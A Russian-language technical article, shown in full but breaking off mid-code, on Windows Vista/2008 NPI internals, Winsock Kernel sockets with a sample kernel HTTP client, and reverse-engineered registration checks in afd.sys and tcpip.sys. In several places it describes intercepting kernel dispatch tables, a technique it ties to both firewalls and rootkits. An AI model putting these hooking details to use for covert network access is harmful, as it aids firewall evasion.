Сетевой программный интерфейс Windows Vista/2008: внутреннее устройство, использование и взлом

Дата публикации 21 май 2009

Сетевой программный интерфейс Windows Vista/2008: внутреннее устройство, использование и взлом — Архив WASM.RU

Приход Windows Vista поломал представление о сетевой подсистеме линейки NT как о последовательно развивающейся сущности. TDI уходит в прошлое, так же, как и старые версии NDIS. Более продвинутые и более удобные технологии управления сетевой подсистемой, расширяемость – те плюсы, о которых говорит Microsoft в своих докладах. Не все это так на самом деле, да и поставщики защитного ПО не всегда следуют заветам документации, предпочитая более изощренные, а вместе с тем и нестабильные способы установки триггеров в системе. В этот раз речь пойдет о внутреннем устройстве интерфейса прикладного уровня сетевой подсистемы Windows Vista – NPI. Также будут представлены примеры его использования в самой системе – будут описаны сокеты ядра WSK и прикладной интерфейс TCP/IP стека. Также будет показана практическая реализация некоторых нестандартных методик, уже использующихся поставщиками персональных фаерволов.

Следует отметить, что все, что будет сказано в адрес сетевой подсистемы Windows Vista равным образом относится и к последующей Windows 2008. 32-битная система будет рассматривается наравне с 64-битной, поэтому все принципы работы и весь исходный код, представленный далее, будут работать как на x86, так и на x64 версии ОС.

Введение в NPI

Network Programming Interface, или NPI – одно из нововведений Windows Vista, которое унифицирует прикладные интерфейсы сетевой подсистемы и представляет собой интерфейс взаимодействия двух ее частей: NPI провайдерами и NPI клиентами. Эта технология была разработана как замена старой, отслужившей свой срок TDI - Transport Driver Interface, представлявшей собой интерфейс режима ядра, находившийся на самой вершине стека протоколов – т.е. прикладной интерфейс взаимодействия с сетью. TDI был тесно связан с моделью построения драйверов в ОС Windows, начиная с Windows NT 3. Поэтому TDI позволяла совершать над собой много недокументированных действий, которые активно использовались как разработчиками персональных брандмауэров (в дальнейшем - фаерволлов), так и разработчиками руткитов. А некоторые защиты, не мудрствуя лукаво, располагали всю свою защиту на уровне TDI. Именно поэтому понадобилось абстрагироваться от пакетов ввода-вывода, специфичных устройств, функций и т.п. и урезать программиста в его правах. Но, как это принято в Windows, Vista унаследовала поддержку TDI драйверов и гарантирует их стабильную работу, хотя Microsoft рекомендует использовать в проектах только NPI. Поэтому защиты, работающие в Windows Vista, которые все еще располагаются на TDI уровне (а такие есть) будут оставаться в святом неведении. Если вкратце, то NPI представляет собой объекты с callback-функциями, которые регистрируются провайдерами NPI, и используются NPI клиентами. Сам NPI поддерживается библиотекой NMR - Network Modules Registrar, которая экспортирует набор NmrXxx() функций, располагающихся в драйвере netio.sys. Рассмотрим наиболее важные из них, знание о которых потребуется в дальнейшем при построении систем защит и нападения:

Если драйвер желает быть зарегистрированным как NPI провайдер, ему предоставляются функции NmrRegisterProvider() и NmrDeregisterProvider() для регистрации и отмены регистрации соответственно:

Код (Text):
  1.  
  2. NTSTATUS
  3.   NmrRegisterProvider(
  4.     IN PNPI_PROVIDER_CHARACTERISTICS  ProviderCharacteristics,
  5.     IN PVOID  ProviderContext,
  6.     OUT PHANDLE  NmrProviderHandle
  7.     );
  8.  
  9. NTSTATUS
  10.   NmrDeregisterProvider(
  11.     IN HANDLE  NmrProviderHandle
  12.     );

Структура NPI_PROVIDER_CHARACTERISTICS описывается следующим образом:

Код (Text):
  1.  
  2. typedef struct _NPI_PROVIDER_CHARACTERISTICS {
  3.   USHORT Version;
  4.   USHORT Length;
  5.   PNPI_PROVIDER_ATTACH_CLIENT_FN  ProviderAttachClient;
  6.   PNPI_PROVIDER_DETACH_CLIENT_FN  ProviderDetachClient;
  7.   PNPI_PROVIDER_CLEANUP_BINDING_CONTEXT_FN  ProviderCleanupBindingContext;
  8.   NPI_REGISTRATION_INSTANCE  ProviderRegistrationInstance;
  9. } NPI_PROVIDER_CHARACTERISTICS, *PNPI_PROVIDER_CHARACTERISTICS;

Указатели на callback функции заполняются провайдером для возможности реакции на соответствующие действия, самые важные функции, которые должны быть указаны:

  • ProviderAttachClient() для реакции на подключения NPI клиента к провайдеру
  • ProviderDetachClient() для реакции на отключение NPI клиента от провайдера

Эти функции вызываются NMR, когда какой-либо клиент желает подключиться к провайдеру.

Для регистрации клиента, NMR экспортирует функцию NmrRegisterClient() и NmrDeregisterClient() для выполнения обратного действия:

Код (Text):
  1.  
  2. NTSTATUS
  3.   NmrRegisterClient(
  4.     IN PNPI_CLIENT_CHARACTERISTICS  ClientCharacteristics,
  5.     IN PVOID  ClientContext,
  6.     OUT PHANDLE  NmrClientHandle
  7.     );
  8.  
  9. NTSTATUS
  10.   NmrDeregisterClient(
  11.     IN HANDLE  NmrClientHandle
  12.     );

Очень похоже на функции регистрации провайдера, не так ли? Структура NPI_CLIENT_CHARACTERISTICS не будет исключением:

Код (Text):
  1.  
  2. typedef struct _NPI_CLIENT_CHARACTERISTICS {
  3.   USHORT Version;
  4.   USHORT Length;
  5.   PNPI_CLIENT_ATTACH_PROVIDER_FN  ClientAttachProvider;
  6.   PNPI_CLIENT_DETACH_PROVIDER_FN  ClientDetachProvider;
  7.   PNPI_CLIENT_CLEANUP_BINDING_CONTEXT_FN  ClientCleanupBindingContext;
  8.   NPI_REGISTRATION_INSTANCE  ClientRegistrationInstance;
  9. } NPI_CLIENT_CHARACTERISTICS, *PNPI_CLIENT_CHARACTERISTICS;

Поле ClientRegistrationInstance определяет одну важную структуру, которая описывает провайдера, к которому клиент собирается подключиться:

Код (Text):
  1.  
  2. typedef struct _NPI_REGISTRATION_INSTANCE {
  3.   USHORT  Version;
  4.   USHORT  Size;
  5.   PNPIID  NpiId;
  6.   PNPI_MODULEID  ModuleId;
  7.   ULONG  Number;
  8.   CONST VOID  *NpiSpecificCharacteristics;
  9. } NPI_REGISTRATION_INSTANCE, *PNPI_REGISTRATION_INSTANCE;

Наиболее важные поля структуры - ModuleId и NpiId:

Код (Text):
  1.  
  2. typedef struct {
  3.     unsigned long  Data1;
  4.     unsigned short Data2;
  5.     unsigned short Data3;
  6.     byte           Data4[ 8 ];
  7. } GUID;
  8.  
  9. typedef GUID NPIID, *PNPIID;
  10.  
  11. typedef struct _NPI_MODULEID {
  12.   USHORT  Length;
  13.   NPI_MODULEID_TYPE  Type;
  14.   union {
  15.     GUID  Guid;
  16.     IF_LUID  IfLuid;
  17.   };
  18. } NPI_MODULEID, *PNPI_MODULEID;

Заполнив ModuleId и NpiId известной последовательностью байтов, мы можем точно определить провайдера, к которому мы собираемся подключиться.

WSK

Драйвер afd.sys являлся связующим звеном между драйвером TCP/IP стека tcpip.sys и библиотек пользовательского уровня Winsock. Помимо этих функций, оставшихся еще со времен NT 3, afd.sys висты регистрируется как NPI провайдер и предоставляет доступ к WSK – Winsock Kernel, сокетам режима ядра. Как уже было сказано, TDI является достаточно сложным интерфейсом, организация доступа к сети через который представляется непростой задачей. В WSK этот вопрос решается с полпинка, и наскоро написанный код уже начинает работать. WSK предоставляет набор WskXxx() функций, аналогичных по функциональности сокетам BSD - WskSocket(), WskConnect(), WskReceive(), WskSend(), WskCloseSocket(), что соответствует вызовам socket(), connect(), recv(), send, close(). Но все же есть небольшое отличие от сокетов прикладного уровня – сокеты WSK не блокирующие, поэтому чтобы иметь блокирующие сокеты (что намного удобнее при разработке простых приложений), необходимо написать небольшие функции-обертки для каждого WskXxx()-вызова или же блокировать вызов функции в самом коде, и код будет выглядеть объемнее. WSK разработана следующим образом: сами функции подключения к WSK-провайдеру экспортируются NMR (netio.sys), но функционал WSK (т.е. те самые WskXxx() callbacks) располагается в afd.sys. Таким образом, любой драйвер в системе может зарегистрироваться как провайдер услуг WSK, но проблема в том, что интерфейс взаимодействия с tcpip.sys через NPI не документирован. Рассмотрим интерфейс WSK, как частный случай использования NPI, который, к тому же, может помочь разработчикам предельно просто организовывать сетевое взаимодействие в режиме ядра.

Для регистрации в качестве клиента WSK, NMR экспортирует функцию WskRegister(), хорошо документированную в WDK, которая вызывается следующим образом:

Код (Text):
  1.  
  2. static WSK_REGISTRATION g_WskRegistration;
  3. static WSK_CLIENT_DISPATCH  g_WskDispatch = {MAKE_WSK_VERSION(1,0), 0, NULL};
  4.     WSK_CLIENT_NPI  WskClient = {0};
  5. NTSTATUS        Status = STATUS_UNSUCCESSFUL;
  6.  
  7.     WskClient.ClientContext = NULL;
  8.     WskClient.Dispatch = &g_WskDispatch;
  9.  
  10.     Status = WskRegister(&WskClient, &g_WskRegistration);
  11.     if (!NT_SUCCESS(Status)) {
  12.         DbgPrint("DriverEntry(): WskRegister() failed with status 0x%08X\n", Status);
  13.         return Status;
  14.     }

Исследование внутреннего устройства функции WskRegister() дает нам понять, что она просто вызывает NmrRegisterClient() с NpiId = NPI_WSK_INTERFACE_ID и ModuleId = WSKLIB_WSK_CLIENT_MODULEID. После того, как клиент зарегистрировался у WSK провайдера, ему необходимо вызвать функцию ожидания его загрузки. Да, может случиться так, что наш драйвер будет загружен раньше afd.sys, или он вообще может быть не загружен – например, при загрузке системы в безопасном режиме.

Код (Text):
  1.  
  2.     Status = WskCaptureProviderNPI(&g_WskRegistration, WSK_CAPTURE_WAIT_TIMEOUT_MSEC, &g_WskProvider);
  3.     if (!NT_SUCCESS(Status)) {
  4.         DbgPrint("DriverEntry(): WskCaptureProviderNPI() failed with status 0x%08X\n", Status);
  5.         WskDeregister(&g_WskRegistration);
  6.         return Status;
  7.     }

WskCaptureProviderNPI() просто ожидает вызова callback ClientAttachProvider(), после вызова которого мы будем уверены в том, что библиотека загрузилась. Когда afd.sys примет запрос на регистрацию клиента, он возвратит указатель на таблицу обработчиков, которые мы можем использовать для манипуляции с сокетами. Те самые WskXxx() callbacks. Указатель на эту таблицу будет возвращен в g_WskProvider.Dispatch:

Код (Text):
  1.  
  2. typedef struct _WSK_PROVIDER_DISPATCH {
  3.     USHORT                    Version;
  4.     USHORT                    Reserved;
  5.     PFN_WSK_SOCKET            WskSocket;
  6.     PFN_WSK_SOCKET_CONNECT    WskSocketConnect;
  7.     PFN_WSK_CONTROL_CLIENT    WskControlClient;
  8. } WSK_PROVIDER_DISPATCH, *PWSK_PROVIDER_DISPATCH;

Теперь каждый клиент, который хочет установить TCP-подключение или послать UDP-пакет, может использовать эти функции. Данная структура имеется в единственном виде внутри afd.sys, и указатель на нее получают все WSK клиенты без исключения. Эти обработчики могут быть перехвачены сниффером или другим инструментом, который будет иметь возможность регулирования доступа к WSK. Давайте заглянем еще глубже в недра afd.sys: регистрация afd.sys как провайдера WSK происходит в функции AfdWskStartProviderModule() (вполне себе говорящее название), где afd.sys вызывает NmrRegisterProvider() с параметром ProviderCharacteristics, указывающим на структуру AfdWskProviderNotify:

Код (Text):
  1.  
  2. NPIID NPI_WSK_INTERFACE_ID = {
  3.     0x2227E803, 0x8D8B, 0x11D4,
  4. {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
  5. };
  6.  
  7. NPI_MODULEID NPI_MS_WSK_MODULEID = {
  8.     sizeof(NPI_MODULEID),
  9.     MIT_GUID,
  10.     {0xEB004A0D, 0x9B1A, 0x11D4,
  11.  {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  12. };
  13.  
  14. NPI_PROVIDER_CHARACTERISTICS AfdWskProviderNotify = {
  15.     0,
  16.     sizeof(NPI_PROVIDER_CHARACTERISTICS),
  17.     AfdWskNotifyAttachClient,
  18. AfdWskNotifyDetachClient,
  19. AfdWskNotifyCleanupClientContext,
  20. {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_WSK_INTERFACE_ID,
  21. &NPI_MS_WSK_MODULEID, 0, &AfdWskProviderCharacter}
  22. };

Данная структура находится в секции .rdata, которая имеет атрибут read only, что необходимо учитывать при установке возможных перехватов. Теперь понятно, какая функция просыпается при вызове WskRegister() – именно AfdWskNotifyAttachClient() возвращает указатель на диспетчерскую таблицу, описанную выше структурой WSK_PROVIDER_DISPATCH. Эта таблица имеет имя WskProAPIProviderDispatch, которая как и AfdWskProviderNotify, располагается в секции .rdata драйвера afd.sys:

Код (Text):
  1.  
  2. WSK_PROVIDER_DISPATCH WskProAPIProviderDispatch = {
  3.     MAKE_WSK_VERSION(1,0),
  4.     WskProAPISocket,
  5.     WskProAPISocketConnect,
  6.     AfdWskControlClient
  7. };

Имея указатель на WskProAPIProviderDispatch, мы можем перехватить три вызова – WskSocket(), WskSocketConnect(), WskControlClient(). Теперь, в зависимости от того, какие флаги были переданы WskSocket() или WskSocketConnect() (WSK_FLAG_DATAGRAM_SOCKET/ WSK_FLAG_CONNECTION_SOCKET/ WSK_FLAG_LISTEN_SOCKET), этим функциям будут возвращены другие таблицы, описывающие уже сокет определенной категории (подробнее в WDK):

Для сокетов, предназначенных для отправки дейтаграмм, мы получим указатель на структуру WSK_PROVIDER_DATAGRAM_DISPATCH:

Код (Text):
  1.  
  2. WSK_PROVIDER_DATAGRAM_DISPATCH WskProAPIDatagramSocketDispatch = {
  3.     WskProAPIControlSocket,
  4.     WskProAPICloseSocket,
  5.     WskProAPIBind,
  6.     WskProCoreCloseSocket,
  7.     WskProAPIReceiveFrom,
  8. WskProAPIReleaseC,
  9. WskProAPIGetLocalAddress
  10. };

Для сокетов, ориентированных на подключения - WSK_PROVIDER_CONNECTION_DISPATCH:

Код (Text):
  1.  
  2. WSK_PROVIDER_CONNECTION_DISPATCH WskProAPIConnectionSocketDispatch = {
  3. WskProAPIControlSocket,
  4. WskProAPICloseSocket,
  5. WskProAPIBind,
  6. WskProAPIConnect,
  7. WskProAPIGetLocalAddress,
  8. WskProAPIGetRemoteAddress,
  9. WskProAPISend,
  10. WskProAPIReceive,
  11. WskProAPIDisconnect,
  12. WskProAPIReleaseC
  13. };

Или WSK_PROVIDER_LISTEN_DISPATCH, если задумаем организовать слушающий сокет:

Код (Text):
  1.  
  2. WSK_PROVIDER_LISTEN_DISPATCH WskProAPIListenSocketDispatch = {
  3. WskProAPIControlSocket,
  4. WskProAPICloseSocket,
  5. WskProAPIBind,
  6. WskProAPIAccept,
  7. WskProAPIResume,
  8. WskProAPIGetLocalAddress
};

По аналогии с остальными таблицами, мы можем перехватить обработчики, находящиеся в этих таблицах. Рассмотрим простой пример TCP клиента на WSK, который подключается к google.com:80, делает GET запрос и получает ответ веб-сервера. С помощью WskCaptureProviderNPI() мы уже получили указатель на структуру WSK_PROVIDER_NPI и первое, что собираемся сделать – это создать сокет, используя функцию WSK_PROVIDER_NPI.Dispatch->WskSocket():

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4.   MakeHttpRequest(
  5.     __in  PWSK_PROVIDER_NPI WskProvider,
  6.     __in  PSOCKADDR_IN      LocalAddress,
  7.     __in  PSOCKADDR_IN      RemoteAddress,
  8.     __in  PWSK_BUF          HttpRequest,
  9.     __out PWSK_BUF          HttpResponse,
  10.     __in  PIRP              Irp             // can be reused
  11.   )
  12. {
  13. KEVENT      CompletionEvent = {0};
  14. PWSK_PROVIDER_CONNECTION_DISPATCH SocketDispatch = NULL;
  15. PWSK_SOCKET WskSocket = NULL;
  16.     KeInitializeEvent(&CompletionEvent, SynchronizationEvent, FALSE);
  17.  
  18.     IoReuseIrp(Irp, STATUS_UNSUCCESSFUL);
  19.     IoSetCompletionRoutine(Irp, CompletionRoutine, &CompletionEvent, TRUE, TRUE, TRUE);
  20.  
  21.     Status = WskProvider->Dispatch->WskSocket(
  22.         WskProvider->Client,
  23.         AF_INET,
  24.         SOCK_STREAM,
  25.         IPPROTO_TCP,
  26.         WSK_FLAG_CONNECTION_SOCKET,
  27.         NULL,
  28.         NULL,
  29.         NULL,
  30.         NULL,
  31.         NULL,
  32.         Irp);
  33.     if (Status == STATUS_PENDING) {
  34.         KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  35.         Status = Irp->IoStatus.Status;
  36.     }
  37.    
  38.     if (!NT_SUCCESS(Status)) {
  39.         DbgPrint("MakeHttpRequest(): WskSocket() failed with status 0x%08X\n", Status);
  40.         return Status;
  41.     }
  42.  
  43.     WskSocket = (PWSK_SOCKET)Irp->IoStatus.Information;
  44.     SocketDispatch = (PWSK_PROVIDER_CONNECTION_DISPATCH)WskSocket->Dispatch;

Как видно, WskSocket() требует указатель на структуру IRP, которую мы предварительно должны выделить для этих нужд. Одну и ту же IRP можно использовать несколько раз, чем мы и воспользуемся, вызвав IoReuseIrp(). Как уже было сказано, функции WSK – не блокирующие, поэтому для такого простого приложения как наше достаточно дождаться выполнения WskSocket(), о завершении которой нам просигналит функция завершения CompletionRoutine(), указанная в IoSetCompletionRoutine():

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4. NTAPI
  5.   CompletionRoutine(
  6.     __in PDEVICE_OBJECT DeviceObject,
  7.     __in PIRP           Irp,
  8.     __in PKEVENT        CompletionEvent
  9.     )
  10. {
  11.     ASSERT( CompletionEvent );
  12.  
  13.     KeSetEvent(CompletionEvent, IO_NO_INCREMENT, FALSE);
  14.     return STATUS_MORE_PROCESSING_REQUIRED;
  15. }

После успешного создания сокета его следует привязать к локальному адресу, с которого будет происходить подключение. Если в BSD сокетах это делать необязательно, то в WSK вызов WskConnect() завершится с ошибкой без предварительного вызова WskBind(). Не заморачиваясь сильно укажем INADDR_ANY в качестве локального адреса, WskBind() это допускает:

Код (Text):
  1.  
  2.     LocalAddress.sin_family         = AF_INET;
  3.     LocalAddress.sin_addr.s_addr    = INADDR_ANY;
  4.     LocalAddress.sin_port           = 0;
  5.     Status = SocketDispatch->WskBind(
  6.         WskSocket,
  7.         (PSOCKADDR)LocalAddress,
  8.         0,
  9.         Irp);
  10.     if (Status == STATUS_PENDING) {
  11.         KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  12.         Status = Irp->IoStatus.Status;
  13.     }
  14.    
  15.     if (!NT_SUCCESS(Status)) {
  16.         DbgPrint("MakeHttpRequest(): WskBind() failed with status 0x%08X\n", Status);
  17.         CloseWskSocket(SocketDispatch, WskSocket);
  18.         return Status;
  19.     }

Ну и, наконец, подключаемся:

Код (Text):
  1.  
  2.     RemoteAddress.sin_family        = AF_INET;
  3.     RemoteAddress.sin_addr.s_addr   = HOST_ADDRESS;
  4.     RemoteAddress.sin_port          = HTONS(HOST_PORT);
  5.     Status = SocketDispatch->WskConnect(
  6.         WskSocket,
  7.         (PSOCKADDR)RemoteAddress,
  8.         0,
  9.         Irp);
  10.     if (Status == STATUS_PENDING) {
  11.         KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  12.         Status = Irp->IoStatus.Status;
  13.     }
  14.  
  15.     if (!NT_SUCCESS(Status)) {
  16.         DbgPrint("MakeHttpRequest(): WskConnect() failed with status 0x%08X\n", Status);
  17.         CloseWskSocket(SocketDispatch, WskSocket);
  18.         return Status;
  19.     }

А вообще, последовательность трех вызовов WskSocket(), WskBind(), WskConnect() можно заменить на один вызов WskSocketConnect(), который также экспортируется WSK. Следующее действие - посылка HTTP запроса:

Код (Text):
  1.  
  2.     Status = SocketDispatch->WskSend(
  3.         WskSocket,
  4.         HttpRequest,
  5.         0,
  6.         Irp);
  7.     if (Status == STATUS_PENDING) {
  8.         KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  9.         Status = Irp->IoStatus.Status;
  10.     }
  11.    
  12.     if (!NT_SUCCESS(Status)) {
  13.         DbgPrint("MakeHttpRequest(): WskSend() failed with status 0x%08X\n", Status);
  14.         CloseWskSocket(SocketDispatch, WskSocket);
  15.         return Status;
  16.     }

Принимаем данные от веб-сервера:

Код (Text):
  1.  
  2.         Status = SocketDispatch->WskReceive(
  3.             WskSocket,
  4.             &WskBuffer,
  5.             0,
  6.             Irp);
  7.         if (Status == STATUS_PENDING) {
  8.             KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  9.             Status = Irp->IoStatus.Status;
  10.         }
  11.  
  12.         if (!NT_SUCCESS(Status)) {
  13.             DbgPrint("ReceiveHttpResponse(): WskReceive() failed with status 0x%08X\n", Status);
  14.             break;
  15.         }

Функция закрытия сокета делает свою работу:

Код (Text):
  1.  
  2.     Status = SocketDispatch->WskCloseSocket(WskSocket, Irp);
  3.     if (Status == STATUS_PENDING) {
  4.         KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
  5.         Status = Irp->IoStatus.Status;
  6.     }
  7.  
  8.     if (!NT_SUCCESS(Status)) {
  9.         DbgPrint("CloseWskSocket(): WskCloseSocket() failed with status 0x%08X\n", Status);
  10.     }

WskCloseSocket() – тоже не блокирующая функция. Мы ведь помним об обмене FIN пакетами и таймаутах при корректном завершении TCP сессии? ;) После того, как ответ сервера принят, из него можно получить и что-нибудь полезное:

Код (Text):
  1.  
  2. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  3. MakeHttpRequest(): Connected, sending the request...
  4. MakeHttpRequest(): 56 bytes of the request successfully sent
  5. MakeHttpRequest(): Receiving the answer...
  6. MakeHttpRequest(): Received 497 bytes of data
  7. ==> google.com says that today is: Mon, 11 May 2009 11:51:27 GMT
  8. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  9. MakeHttpRequest(): Connected, sending the request...
  10. MakeHttpRequest(): 56 bytes of the request successfully sent
  11. MakeHttpRequest(): Receiving the answer...
  12. MakeHttpRequest(): Received 497 bytes of data
  13. ==> google.com says that today is: Mon, 11 May 2009 11:51:32 GMT

Данный способ коммуникации с внешним миром вполне работоспособен и успешно детектируется персональными фаерволами, работающими на NPI уровне. Само подключение будет видно в списке подключений, выводимом netstat или TcpView. Интересная ситуация для фаервола получается, если WSK станет пользоваться какой-нибудь легальный драйвер наравне с руткитом, засевшем в системе. Разве что доступ к WSK будет обрезаться по строгому набору правил, через которые руткиту пройти не удастся.

Для еще большей простоты использования WSK была разработана библиотека simplewsk, функции которой являются обертками вокруг WskXxx() функций и похожи на функции BSD sockets. Помимо того, что все функции блокирующие по умолчанию, мы избегаем встреч со структурой WSK_BUF, использование которой не всегда подходит для построения простых приложений. Исходники библиотеки и пример использования в виде эхо сервера вы можете найти в конце статьи.

Внутреннее устройство NPI

Как уже было сказано, на замену TDI пришел NPI, и Windows Vista использует именно NPI в драйверах, оставив TDI для совместимости. Если раньше tcpip.sys регистрировался как TDI-провайдер, то теперь он является NPI-провайдером, и вся работа проходит по этому каналу. Вкратце напомню, идеология NPI такова: провайдер регистрирует набор callback-функций, которые использует клиент. Так было в afd.sys, так происходит и с tcpip.sys. Мы могли бы зарегистрироваться как еще один NPI клиент tcpip.sys (помимо официального afd.sys), существуют аналогичные callback-функции, которые можно перехватить, и иметь контроль над потоком всех данных в системе. Хотя если быть точнее, в таком случае контроль будет только над данными, передающимися в пределах TCP/IP стека Windows. Сразу нужно сказать, что сделать это быстро и безболезненно не удастся. Для начала взглянем, как устроены функции NmrRegisterProvider() и NmrRegisterClient():

Код (Text):
  1.  
  2. #define PROVIDER_MODULE 2
  3. #define CLIENT_MODULE   1
  4.  
  5. NTSTATUS NmrRegisterProvider(
  6. PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics,
  7. PVOID ProviderContext,
  8. PHANDLE NmrProviderHandle
  9. )
  10. {
  11.     NTSTATUS Status;
  12.     HANDLE hProvider;
  13.     …
  14.     Status = NmrpVerifyModule(_ReturnAddress(), FALSE, ProviderCharacteristics);
  15.     if (NT_SUCCESS(Status)) {
  16.         Status = NmrpRegisterModule(PROVIDER_MODULE, ProviderCharacteristics, ProviderContext, &hProvider);
  17.         if (NT_SUCCESS(Status))
  18.             *NmrProviderHandle = hProvider;
  19.     }
  20.  
  21.     return Status;
  22. }
  23.  
  24. NTSTATUS NmrRegisterClient(
  25. PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics,
  26. PVOID ClientContext,
  27. PHANDLE NmrClientHandle
  28. )
  29. {
  30.     NTSTATUS Status;
  31.     HANDLE hClient;
  32.     …
  33.     Status = NmrpVerifyModule(_ReturnAddress(), TRUE, ClientCharacteristics);
  34.     if (NT_SUCCESS(Status)) {
  35.         Status = NmrpRegisterModule(CLIENT_MODULE, ClientCharacteristics, ClientContext, &hClient);
  36.         if (NT_SUCCESS(Status))
  37.             *NmrClientHandle = hClient;
  38.     }
  39.  
  40.     return Status;
  41. }

Очень интересна неэкспортируемая функция NmprVerifyModule(), которой передается адрес возврата из функций NmrRegisterProvider()/NmrRegisterClient(): она сверяет указатели на callback-функции и адрес возврата со списком провайдеров и соответствующих NPIID структур – при определенных GUID’ах, эти функции должны указывать точно в драйвер, который в списке соответствует определенному GUID. NmprVerifyModule() проверяет, если поле NpiId, переданное в структуре NPI_REGISTRATION_INSTANCE, равно NPI_TRANSPORT_LAYER_ID, NPI_WSK_INTERFACE_ID или NPI_CCM_INTERFACE_ID, то она вызывает функцию ZwQuerySystemInformation() для получения списка загруженных модулей ядра и проходится по списку драйверов, пытаясь найти драйвер, в образ которого указывает переданный адрес возврата. Если владелец найден, далее сверяется указатели на функции ProviderDetachClient()/ClientDetachProvider() – а принадлежат ли они владельцу? Если функции указывают в найденные модули, под конец NmprVerifyModule() делает проверку пути модуля, по которому располагается драйвер. Если путь равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”, регистрация разрешается. С одной стороны идеология NPI предоставляет нам возможность замены одной части сетевой подсистемы Windows Vista на другую, а с другой жестко закрепляет за некоторыми частями системы их место. Из обзора функции NmprVerifyModule() можно вынести следующие правила:

    Только afd.sys может быть зарегистрирован как WSK провайдер (NpiId = NPI_WSK_INTERFACE_ID) Кто угодно может быть зарегистрирован как WSK клиент (NpiId = NPI_WSK_INTERFACE_ID), что вполне логично Только tcpip.sys может быть зарегистрирован как провайдер транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID) Только tdx.sys или afd.sys могут быть зарегистрированы как NPI клиенты транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID)

Упомянутый tdx.sys представляет собой NPI клиент транспортного уровня, который подключается к tcpip.sys и организует TDI для старых драйверов. В будущем Microsoft может просто от него избавиться. Ставить защиту на TDI уровне в Windows Vista смысла особого нет, т.к. персональные фаерволлы могут перехватывать callback-функции драйвера tcpip.sys, располагающегося уровнем ниже, и, таким образом, иметь рычаг управления сетевой подсистемой на прикладном уровне в режиме ядра. Как и любой другой добропорядочный NPI провайдер, tcpip.sys вызывает NmrRegisterProvider() для регистрации себя в качестве провайдера услуг транспортной связи из внутренней функции InetStartNsiProvider(), которая вызывается несколько раз для каждого протокола, который предоставляет tcpip.sys. Разберем самые интересные для нас:

Код (Text):
  1.  
  2. NTSTATUS TcpStartConfigModule()
  3. {
  4.     NTSTATUS Status;
  5.  
  6. Status = InetStartNsiProvider(&TcpInetTransport, &TcpNsiInterfaceDispatch);
  7. If (NT_SUCCESS(Status)) {
  8.     …
  9. }
  10.  
  11. return Status;
  12. }
  13.  
  14. NTSTATUS UdpStartConfigModule()
  15. {
  16.     NTSTATUS Status;
  17.  
  18. Status = InetStartNsiProvider(&UdpInetTransport, &UdpNsiInterfaceDispatch);
  19. If (NT_SUCCESS(Status)) {
  20.     …
  21. }
  22.  
  23. return Status;
  24. }
  25.  
  26. NTSTATUS RawStartConfigModule()
  27. {
  28.     NTSTATUS Status;
  29.  
  30. Status = InetStartNsiProvider(&RawInetTransport, &RawNsiInterfaceDispatch);
  31. If (NT_SUCCESS(Status)) {
  32.     …
  33. }
  34.  
  35. return Status;
  36. }

Если NmrRegisterProvider() вызывается для всех протоколов, которые предоставляет tcpip.sys, то должна иметься структура NPI_MODULEID, описывающая каждого из них:

Код (Text):
  1.  
  2. NPI_MODULEID NPI_MS_TCP_MODULEID = {
  3.     sizeof(NPI_MODULEID),
  4.     MIT_GUID,
  5.     {0xEB004A03, 0x9B1A, 0x11D4,
  6.  {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  7. };
  8.  
  9. NPI_MODULEID NPI_MS_UDP_MODULEID = {
  10.     sizeof(NPI_MODULEID),
  11.     MIT_GUID,
  12.     {0xEB004A02, 0x9B1A, 0x11D4,
  13.  {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  14. };
  15.  
  16. NPI_MODULEID NPI_MS_RAW_MODULEID = {
  17.     sizeof(NPI_MODULEID),
  18.     MIT_GUID,
  19.     {0xEB004A07, 0x9B1A, 0x11D4,
  20.  {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  21. };

Так что же внутри переменных TcpInetTransport, UdpInetTransport, RawInetTransport, TcpNsiInterfaceDispatch, UdpNsiInterfaceDispatch и RawNsiInterfaceDispatch? Кое-что интересное. Для начала, TcpInetTransport, UdpInetTransport и RawInetTransport заполняются функциями TcpStartInetModule(), UdpStartInetModule() и RawStartInetModule() соответственно. Переменные XxxInetTransport описываются в виде структуры, формат которой не документирован. Это, впрочем, неважно, но есть одна маленькая деталь – одно из полей этих структур содержит указатель на соответствующую структуру типа NPI_MODULEID: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID и т.д.. А также они содержат указатели на внутренние callback-функции:

  • TcpInitializeAf(), TcpCleanupAf(), TcpDetachAf() для провайдера TCP
  • UdpInitializeAf(), UdpCleanAf() для провайдера UDP
  • RawInitializeAf(), RawCleanupAf() для провайдера Raw IP
  • RawInitializeClient(), RawNlClientAddInterface() для всех остальных протоколов (просто стабы - xor eax, eax / ret)

Структуры XxxNsiInterfaceDispatch являются лишь составной частью соответствующих структур XxxInetTransport. После инициализации и регистрации провайдера, tcpip.sys вызывает функцию InetStartTlProviderTransport(), которая запускает внутренний механизм, который стартует модули: TcpStartProviderModule(), UdpStartProviderModule() и RawStartProviderModule():

Код (Text):
  1.  
  2. NTSTATUS TcpStartProviderModule()
  3. {
  4.     NTSTATUS Status;
  5.  
  6. Status = InetStartTlProviderTransport(
